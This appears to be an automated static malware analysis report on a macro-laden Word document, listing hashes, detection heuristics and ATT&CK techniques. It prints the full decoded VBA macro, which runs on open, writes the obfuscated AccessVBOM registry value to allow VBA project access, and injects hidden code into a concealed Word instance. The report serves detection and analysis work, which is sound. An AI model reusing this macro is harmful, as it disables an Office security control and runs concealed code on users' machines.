Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b353308a6bb43af9…

MALICIOUS

Office (OOXML)

75.7 KB Created: 2021-05-05 08:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 9480dedeeeefb448ec3654f25c074831 SHA-1: b4b4509cd4da0dfec7796b8d3af395ff10499675 SHA-256: b353308a6bb43af9c053d5445a23baf4f2a25334285f5d12ea859b6d73f1ad0a
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, indicated by multiple heuristic firings including OLE_VBA_AUTOOPEN, OLE_VBA_SHELL, and OLE_VBA_WSCRIPT. The autoopen macro executes code that creates a Word application object and adds code to its VBA project, likely to download and execute a second-stage payload. The script also writes to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\VBAOM, suggesting an attempt to manipulate Office security settings or establish persistence.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub funcMainW(sizeResponseTmp)
With CreateObject("wscript.shell")
.RegWrite sizeResponseTmp, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub iteratorLoad(titleCountEx As String)
Set mainPasteRight = CreateObject("word.application")
With mainPasteRight.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "clearPaste"
Sub autoopen()
swapConstTrust
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1924 bytes
SHA-256: 94570887328d2b791980e733a98f60cd3e4be00feceee4d527c25dbb72ea1e1f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{7AF5446D-B1E2-4CAB-BE39-B7929909BA5E}{EE0DFC92-E16B-480D-82F0-A719B0153F15}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "clearPaste"
Sub autoopen()
swapConstTrust
Dim optionW As String
optionW = funcTableMem
iteratorLoad optionW
End Sub

Attribute VB_Name = "nextWTemp"
Sub iteratorLoad(titleCountEx As String)
Set mainPasteRight = CreateObject("word.application")
With mainPasteRight.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString titleCountEx
End With
mainPasteRight.Visible = False
mainPasteRight.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "constRequest"
Function optionDatabase() As String
optionDatabase = Application.Version
End Function
Sub funcMainW(sizeResponseTmp)
With CreateObject("wscript.shell")
.RegWrite sizeResponseTmp, 1, "REG_DWORD"
End With
End Sub
Function textW(sizeResponseTmp)
textW = "HKEY_CUR" & StrReverse("rawtfoS\RESU_TNER") & "e\Microsoft\Office\"
End Function
Function swapArgumentPtr(sizeResponseTmp)
swapArgumentPtr = "\Word\Secur" & StrReverse("VsseccA\yti") & "BOM"
End Function
Sub swapConstTrust()
sizeResponseTmp = textW("classClass")
responseOption = optionDatabase
ADataCaption = swapArgumentPtr("classClass")
funcMainW sizeResponseTmp & responseOption & ADataCaption
End Sub
Function funcTableMem()
funcTableMem = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 00e9d6c28b05911fd82a7cc16c1f237bcbb7f4b0e661df2c38864e91e2f8912d

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